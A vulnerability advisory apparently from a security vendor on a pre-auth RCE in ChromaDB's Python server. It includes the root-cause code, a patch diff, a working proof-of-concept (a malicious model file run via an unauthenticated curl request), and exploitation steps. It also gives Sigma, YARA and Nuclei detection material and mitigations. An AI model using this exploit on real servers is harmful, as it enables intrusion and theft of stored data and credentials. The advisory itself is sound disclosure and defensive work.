Does your programme see what attackers see?

Most security programmes are stronger on discovery than validation. The Exposure Maturity Model identifies exactly which dimension is holding your programme back.

No items found.
Vulnerability Alerts
-
5
mins read
-
May 19, 2026

CVE-2026-45829 — ChromaDB Python server hands you RCE before it asks who you are

Melvin Lammerts
-
Hacking Manager
- -
CVE-2026-45829 — ChromaDB Python server hands you RCE before it asks who you are

TL;DR. 

ChromaDB's Python FastAPI server loads attacker-controlled embedding-function configuration before it runs its auth check. Set trust_remote_code: true and point model_name at any HuggingFace repo (or a local path) you control, and the server executes your Python from inside the POST /api/v2/.../collections request — and then politely returns 403 Forbidden afterwards. CVSS 4.0 = 10.0. Still unpatched in v1.5.9 (latest at time of writing).

Background

Chroma is one of the more widely deployed open-source vector databases behind RAG pipelines. It ships two server implementations: a default Rust frontend (chroma run) and a Python FastAPI server (chromadb.server.fastapi.FastAPI) that's still used by many self-hosters, dev instances, and the chromadb[server] Python distribution. Only the Python server is affected. The Rust server doesn't go through this code path.

The bug was reported on 2025-11-28 by HiddenLayer ("ChromaToast"), publicly disclosed in issue #6717 after maintainer silence, and assigned CVE-2026-45829.

Root cause

The vulnerable handler lives in chromadb/server/fastapi/__init__.py, function create_collection. Here's the relevant body (Chroma 1.5.9, current main):

async def create_collection(self, request, tenant, database_name):

    def process_create_collection(request, tenant, database, raw_body):

        create = validate_model(CreateCollection, orjson.loads(raw_body))

        if not create.configuration:

            ...

        else:

            configuration = load_create_collection_configuration_from_json(  # <-- (1)

                create.configuration

            )

        # NOTE(rescrv, iron will auth):  Implemented.

        self.sync_auth_request(                                              # <-- (2)

            request.headers,

            AuthzAction.CREATE_COLLECTION,

            tenant, database, create.name,

        )

        ...

Two things happen, in this order:

  1. The raw JSON body is parsed and load_create_collection_configuration_from_json() is called on the attacker-controlled configuration blob.
  2. sync_auth_request() checks credentials.

Step 1 is not a passive parse. load_create_collection_configuration_from_json instantiates the named embedding function (chromadb/api/collection_configuration.py:317):

if json_map.get("embedding_function") is not None:

    ef_config = json_map["embedding_function"]

    ...

    ef = known_embedding_functions[ef_config["name"]]

    result["embedding_function"] = ef.build_from_config(ef_config["config"])

…and for the registered sentence_transformer EF, build_from_config happily forwards the attacker's kwargs straight into the model loader (chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py):

def __init__(self, model_name="all-MiniLM-L6-v2", device="cpu",

             normalize_embeddings=False, **kwargs):

    ...

    for key, value in kwargs.items():

        if not isinstance(value, (str, int, float, bool, list, dict, tuple)):

            raise ValueError(f"Keyword argument {key} is not a primitive type")

    self.kwargs = kwargs

    if model_name not in self.models:

        self.models[model_name] = SentenceTransformer(

            model_name_or_path=model_name, device=device, **kwargs

        )

The "validation" is a type check that explicitly allows bool so trust_remote_code=True passes through untouched and lands inside sentence-transformers, which forwards it to transformers.AutoModel.from_pretrained(). transformers then dynamically imports the auto_map Python file shipped with the model, executing whatever module-level code it contains. Three registered EFs (sentence_transformer, plus two more transformers-backed EFs) share the same **kwargs passthrough.

The CWE here is CWE-94 (code injection) with a side helping of CWE-862 (missing authorization): the design treats embedding-function instantiation as cheap parsing rather than as a security-relevant action.

The patch

There isn't one. As of Chroma 1.5.9 (latest PyPI release at time of writing) and main at 8f76e1b, the vulnerable handler is identical to the snippet above. HiddenLayer reports they got an initial acknowledgement on 2025-12-16 followed by silence across 10+ follow-ups.

The fix is structurally trivial. The auth call has to move above the configuration loader, and kwargs keys need to be stripped (or whitelisted) before being forwarded into model loaders. Conceptually:

--- a/chromadb/server/fastapi/__init__.py

+++ b/chromadb/server/fastapi/__init__.py

@@ create_collection

    create = validate_model(CreateCollection, orjson.loads(raw_body))

+    self.sync_auth_request(

+        request.headers,

+        AuthzAction.CREATE_COLLECTION,

+        tenant, database, create.name,

+    )

    if not create.configuration:

        ...

    else:

        configuration = load_create_collection_configuration_from_json(

            create.configuration

        )

-    self.sync_auth_request(

-        request.headers,

-        AuthzAction.CREATE_COLLECTION,

-        tenant, database, create.name,

-    )

--- a/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py

+++ b/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py

@@ __init__

-    for key, value in kwargs.items():

-        if not isinstance(value, (str, int, float, bool, list, dict, tuple)):

-            raise ValueError(f"Keyword argument {key} is not a primitive type")

-    self.kwargs = kwargs

+    DENY = {"trust_remote_code", "use_auth_token", "token",

+            "code_revision", "revision"}

+    for k in DENY:

+        kwargs.pop(k, None)

+    self.kwargs = kwargs

Reordering closes the pre-auth surface; the deny-list closes the post-auth surface (any authenticated tenant can still trivially RCE the server without it, which matters in multi-tenant deployments and in the SDK-poisoning variant HiddenLayer also describes).

Validation

Standing it up in the sandbox, pinned to the latest vulnerable release:

python3 -m venv venv && . venv/bin/activate

pip install 'chromadb==1.5.9' sentence-transformers fastapi uvicorn \

    opentelemetry-instrumentation-fastapi

I want the auth check to actually fire in the run so the bypass is unambiguous. Auth-required server (run_server.py):

import uvicorn

from chromadb.config import Settings

from chromadb.server.fastapi import FastAPI

settings = Settings(

    is_persistent=True, persist_directory="/tmp/cve-work/chroma-data",

    anonymized_telemetry=False,

    chroma_server_authn_provider=

        "chromadb.auth.token_authn.TokenAuthenticationServerProvider",

    chroma_server_authn_credentials="my-super-secret-token",

    chroma_auth_token_transport_header="X-Chroma-Token",

)

app = FastAPI(settings).app()

uvicorn.run(app, host="127.0.0.1", port=8000)

Baseline — auth is in fact required for a benign request:

$ curl -s -o /dev/null -w "HTTP %{http_code}\n" -X POST \

    http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections \

    -H 'Content-Type: application/json' -d '{"name":"benign"}'

HTTP 403

Now the weaponised malicious "model" — anything transformers will import under trust_remote_code=True. Two files, dropped at /tmp/cve-work/evil-model/:

// config.json

{

  "architectures": ["EvilModel"], "model_type": "evil",

  "auto_map": {

    "AutoConfig": "modeling_evil.EvilConfig",

    "AutoModel":  "modeling_evil.EvilModel"

  },

  "hidden_size": 8, "num_hidden_layers": 1, "num_attention_heads": 1,

  "intermediate_size": 8, "vocab_size": 8, "torch_dtype": "float32"

}

# modeling_evil.py

import os, socket, getpass, platform, subprocess, json, datetime

info = {

    "ts": datetime.datetime.utcnow().isoformat() + "Z",

    "host": socket.gethostname(),  "user": getpass.getuser(),

    "uid": os.getuid(),            "pid": os.getpid(),

    "id_cmd": subprocess.check_output(["id"]).decode().strip(),

}

open("/tmp/cve-work/PWNED.txt", "w").write(json.dumps(info, indent=2))

print("[evil-model] code execution achieved as:", info["user"], "uid=", info["uid"])

from transformers import PretrainedConfig, PreTrainedModel

class EvilConfig(PretrainedConfig): model_type = "evil"

class EvilModel(PreTrainedModel):

    config_class = EvilConfig

    def __init__(self, config): super().__init__(config)

    def forward(self, *a, **kw): return None

Fire — note no auth header:

$ rm -f /tmp/cve-work/PWNED.txt

$ curl -s -w 'HTTP %{http_code}\n' -X POST \

    http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections \

    -H 'Content-Type: application/json' \

    -d '{"name":"poc","configuration":{"embedding_function":{

          "type":"known","name":"sentence_transformer","config":{

            "model_name":"/tmp/cve-work/evil-model","device":"cpu",

            "normalize_embeddings":false,

            "kwargs":{"trust_remote_code":true}}}}}'

HTTP 500

{"error":"OSError('Error no file named model.safetensors, or pytorch_model.bin, found in directory /tmp/cve-work/evil-model.')"}

$ cat /tmp/cve-work/PWNED.txt

{

  "ts": "2026-05-19T10:37:56.193155Z",

  "host": "DESKTOP-R63FTTB",

  "user": "user",

  "uid": 1000,

  "pid": 1720,

  "id_cmd": "uid=1000(user) gid=1000(user) groups=1000(user),4(adm),...,1001(docker)"

}

The HTTP response is a 500 because after our payload ran, transformers continued and tried to load weight files we never bothered shipping. By that point we already have code execution: pid: 1720 matches the uvicorn server PID, and the id output is captured from inside the server process. Server log confirms it:

[evil-model] code execution achieved as: user uid= 1000

INFO: 127.0.0.1:41494 - "POST /api/v2/tenants/default_tenant/.../collections HTTP/1.1" 500

From the outside this looks like a failed API call. Inside, attacker code has run as the chroma process.

This is full pre-auth RCE, not just a crash primitive.

Exploitation

Preconditions:

  • ChromaDB Python FastAPI server, any version >= 1.0.0.
  • sentence-transformers and transformers installed in the server's environment (they're the upstream-recommended optional deps; in practice most self-hosted deployments have them).
  • Network reachability to the API. No credentials, no tenant knowledge. default_tenant / default_database exist by default.

Attacker steps:

  1. Push a HuggingFace repo (attacker/pwn) containing a config.json with an auto_map and a modeling_*.py whose module-level code is your payload. Or, as shown above, point at an attacker-writable local path which is relevant in CI / shared dev boxes.
  2. POST to /api/v2/tenants/default_tenant/databases/default_database/collections with a sentence_transformer embedding function whose kwargs.trust_remote_code is true and model_name is attacker/pwn.
  3. Server downloads the repo, instantiates the model, executes your payload, then returns 403.

What an attacker gets: arbitrary Python code execution inside the Chroma server process. In a typical RAG deployment that process has read access to:

  • The entire vector store (all tenants, all collections, all documents),
  • Whatever cloud credentials are mounted for embedding-provider API keys (OpenAI, Cohere, Voyage, Bedrock, Vertex…),
  • Whatever credentials are present for backing object storage (S3/GCS/Azure Blob) where collection persistence lives.

HiddenLayer documents a second variant where an authenticated attacker poisons a collection's stored embedding-function config; any later legitimate client that calls _embed() against that collection executes the poison via CollectionCommon.py:755. That turns the bug into a watering-hole inside a single tenant, and is unblocked by the (still-missing) auth-ordering fix because the SDK trusts server-provided config.

Detection

Server-side log signatures (the most reliable indicator on a vulnerable box):

  • POST /api/v2/tenants/.../collections returning 500 while the response body contains trust_remote_code, sentence_transformers, transformers, auto_map, OSError, FileNotFoundError, or HFValidationError.
  • Any outbound network to huggingface.co / cdn-lfs.huggingface.co originating from the Chroma server process that wasn't initiated by your own ingestion code.
  • transformers_modules/ directories appearing in the server user's ~/.cache/huggingface/modules/ — this is where the dynamic loader stages auto_map modules; a directory you didn't authorize is a smoking gun.

Sigma sketch (HTTP access log):

title: ChromaDB pre-auth trust_remote_code RCE attempt

logsource: { product: chromadb, service: fastapi }

detection:

  sel:

    http.method: POST

    http.uri|contains: "/collections"

    http.body|contains:

      - "trust_remote_code"

      - "sentence_transformer"

  condition: sel

level: critical

YARA for staged attack artefacts inside ~/.cache/huggingface/modules/transformers_modules/:

rule chroma_remote_code_payload {

  strings:

    $a = "auto_map"

    $b = /import\s+(os|subprocess|socket|ctypes)/

    $c = /(os\.system|subprocess\.(Popen|run|check_output)|exec\()/

  condition: $a in (0..2048) and 2 of ($b,$c)

}

Nuclei template

The template runs without executing code on the target. Single scan; every condition ANDed:

  • Preflight GET /api/v2/heartbeat must return 200, body nanosecond heartbeat, chroma-trace-id header, body length 40–60 bytes (vanilla chroma heartbeat shape).
  • Exploit probe POST /api/v2/tenants/default_tenant/databases/default_database/collections (no auth, trust_remote_code: true, model_name = /nonexistent/cve45829{{rand_text_alpha(16)}}) must return 500, chroma-trace-id header, and a body reflecting the per-scan token inside the exact envelope {"error":"FileNotFoundError('Path /nonexistent/cve45829<TOK> not found')"}. Body must not contain AuthError / Forbidden / Unauthorized.

A patched (or auth-fronted) instance refuses with 401/403 before reaching the loader and never reflects the token; vanilla FastAPI / unrelated services fail the chroma fingerprint. FP tests confirm: vanilla FastAPI returning a similar 500 envelope and Python http.server both produce no match. The only static-FP scenario is a target deliberately built to mimic both chroma endpoints AND echo the supplied path — documented as a known limitation.

Run against the vulnerable instance:

$ nuclei -t cve-2026-45829.yaml -u http://127.0.0.1:8000 -duc -nc

[cve-2026-45829] [http] [critical] http://127.0.0.1:8000/api/v2/tenants/default_tenant/databases/default_database/collections

[INF] Scan completed in 7.8ms. 1 matches found.

id: cve-2026-45829

info:

  name: ChromaDB Python Server Pre-Auth Remote Code Execution

  author: hadrian

  severity: critical

  description: |

    The ChromaDB Python FastAPI server (>= 1.0.0) loads the user-supplied

    create_collection embedding-function configuration BEFORE invoking

    the authentication/authorization check. An unauthenticated attacker

    can POST a sentence_transformer embedding function with

    kwargs.trust_remote_code=true and an attacker-controlled model

    reference to achieve arbitrary code execution as the server process;

    the server then returns 401/403, masking the compromise.

    This template fingerprints the bug WITHOUT executing code. Detection

    is intentionally conservative — every one of the following must hold

    on a single scan, ANDed together via DSL:

      Preflight (request 1, GET /api/v2/heartbeat):

        * status == 200

        * "chroma-trace-id" response header

        * body contains "nanosecond heartbeat" and is the right length

      Exploit probe (request 2, POST /api/v2/tenants/.../collections):

        * status == 500

        * "chroma-trace-id" response header

        * body matches reflected envelope

          {"error":"FileNotFoundError('Path /nonexistent/cve45829<TOK> not found')"}

          where <TOK> is the random 16-char token we sent on this scan

        * body does NOT contain AuthError / Forbidden / Unauthorized

    Known limitation: a purpose-built ChromaDB honeypot that implements

    both endpoints and echoes the model_name is indistinguishable at the

    protocol level.

  reference:

    - https://nvd.nist.gov/vuln/detail/CVE-2026-45829

    - https://www.hiddenlayer.com/research/chromatoast-served-pre-auth

    - https://github.com/chroma-core/chroma/issues/6717

  classification:

    cve-id: CVE-2026-45829

    cwe-id: CWE-94

    cvss-score: 10.0

    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

  tags: cve,cve2026,chromadb,rce,pre-auth,unauth,llm,ai

http:

  - raw:

      - |

        GET /api/v2/heartbeat HTTP/1.1

        Host: {{Hostname}}

        Accept: application/json

      - |

        POST /api/v2/tenants/default_tenant/databases/default_database/collections HTTP/1.1

        Host: {{Hostname}}

        Content-Type: application/json

        Accept: application/json

        {"name":"probe","configuration":{"embedding_function":{"type":"known","name":"sentence_transformer","config":{"model_name":"/nonexistent/cve45829{{rand_text_alpha(16)}}","device":"cpu","normalize_embeddings":false,"kwargs":{"trust_remote_code":true}}}}}

    req-condition: true

    stop-at-first-match: true

    matchers-condition: and

    matchers:

      - type: dsl

        dsl:

          - "status_code_1 == 200"

          - "contains(tolower(all_headers_1), 'chroma-trace-id')"

          - "contains(body_1, 'nanosecond heartbeat')"

          - "len(body_1) > 40"

          - "len(body_1) < 60"

          - "status_code_2 == 500"

          - "contains(tolower(all_headers_2), 'chroma-trace-id')"

          - "regex('FileNotFoundError..Path /nonexistent/cve45829[A-Za-z]+ not found..', body_2)"

          - "contains(body_2, 'FileNotFoundError')"

          - "contains(body_2, '/nonexistent/cve45829')"

          - "contains(body_2, 'not found')"

          - "!contains(tolower(body_2), 'autherror')"

          - "!contains(tolower(body_2), 'forbidden')"

          - "!contains(tolower(body_2), 'unauthorized')"

        condition: and

Mitigation

There is no fixed version at time of writing (latest is 1.5.9). Until upstream ships a patch:

  • Switch to the Rust server (chroma run). Not affected.
  • If you must run the Python FastAPI server, terminate auth at a reverse proxy (nginx / Envoy / a service mesh sidecar) so the Chroma process literally never receives unauthenticated requests. Specifically: gate POST /api/v2/tenants/*/databases/*/collections and the equivalent v1 path behind your auth provider — Chroma's own token check is too late in the request lifecycle to help here.
  • Disallow egress from the Chroma host to huggingface.co and *.huggingface.co if you don't actually use HuggingFace-hosted models. This breaks the easy remote payload path (local-path exploitation is still possible if an attacker can write files reachable from the server FS — usually a much narrower scenario).
  • Monitor ~/.cache/huggingface/modules/transformers_modules/ on Chroma hosts; alert on new directories not produced by your own ingestion jobs.

A local hotfix you can carry on top of 1.5.9 is the diff in the patch section above — moving sync_auth_request above load_create_collection_configuration_from_json, and stripping trust_remote_code from EF kwargs.

Timeline

  • 2025-11-28 — HiddenLayer reports both RCE variants to Chroma maintainers.
  • 2025-12-16 — Chroma acknowledges receipt, marks the issue for triage.
  • 2026 (Jan–Apr) — 10+ HiddenLayer follow-ups receive no response.
  • 2026-05-12 — CVE-2026-45829 reserved.
  • 2026-05-13 — HiddenLayer publishes ChromaToast Served Pre-Auth; public GitHub issue #6717 opened.
  • 2026-05-19 — Latest Chroma release (1.5.9) remains vulnerable. No KEV entry.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-45829
  • https://www.hiddenlayer.com/research/chromatoast-served-pre-auth
  • https://github.com/chroma-core/chroma/issues/6717
  • https://github.com/chroma-core/chroma/blob/main/chromadb/server/fastapi/init.py
  • https://github.com/chroma-core/chroma/blob/main/chromadb/api/collection_configuration.py
  • https://github.com/chroma-core/chroma/blob/main/chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py
  • https://huggingface.co/docs/transformers/en/custom_models

{{related-article}}

CVE-2026-45829 — ChromaDB Python server hands you RCE before it asks who you are

{{quote-1}}

,

{{quote-2}}

,

Related articles.

All resources

Vulnerability Alerts

CVE-2025-1220: Null byte trickery bypasses hostname allowlists in PHP

CVE-2025-1220: Null byte trickery bypasses hostname allowlists in PHP

Vulnerability Alerts

CVE-2025-53770: Unauthenticated RCE in SharePoint lets attackers drop web shells

CVE-2025-53770: Unauthenticated RCE in SharePoint lets attackers drop web shells

Vulnerability Alerts

cPanel Critical Authentication Bypass Actively Exploited - CVE-2026-41940

cPanel Critical Authentication Bypass Actively Exploited - CVE-2026-41940

Related articles.

All resources

Vulnerability Alerts

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

Vulnerability Alerts

Next.js WebSocket SSRF: Unauthenticated Access to Internal Resources: CVE-2026-44578

Next.js WebSocket SSRF: Unauthenticated Access to Internal Resources: CVE-2026-44578

Vulnerability Alerts

CVE-2026-23918: Apache HTTP Server Double-Free RCE in HTTP/2 Implementation

CVE-2026-23918: Apache HTTP Server Double-Free RCE in HTTP/2 Implementation

get a 15 min demo

Start your journey today

Hadrian’s end-to-end offensive security platform sets up in minutes, operates autonomously, and provides easy-to-action insights.

What you will learn

  • Monitor assets and config changes

  • Understand asset context

  • Identify risks, reduce false positives

  • Prioritize high-impact risks

  • Streamline remediation

The Hadrian platform displayed on a tablet.
No items found.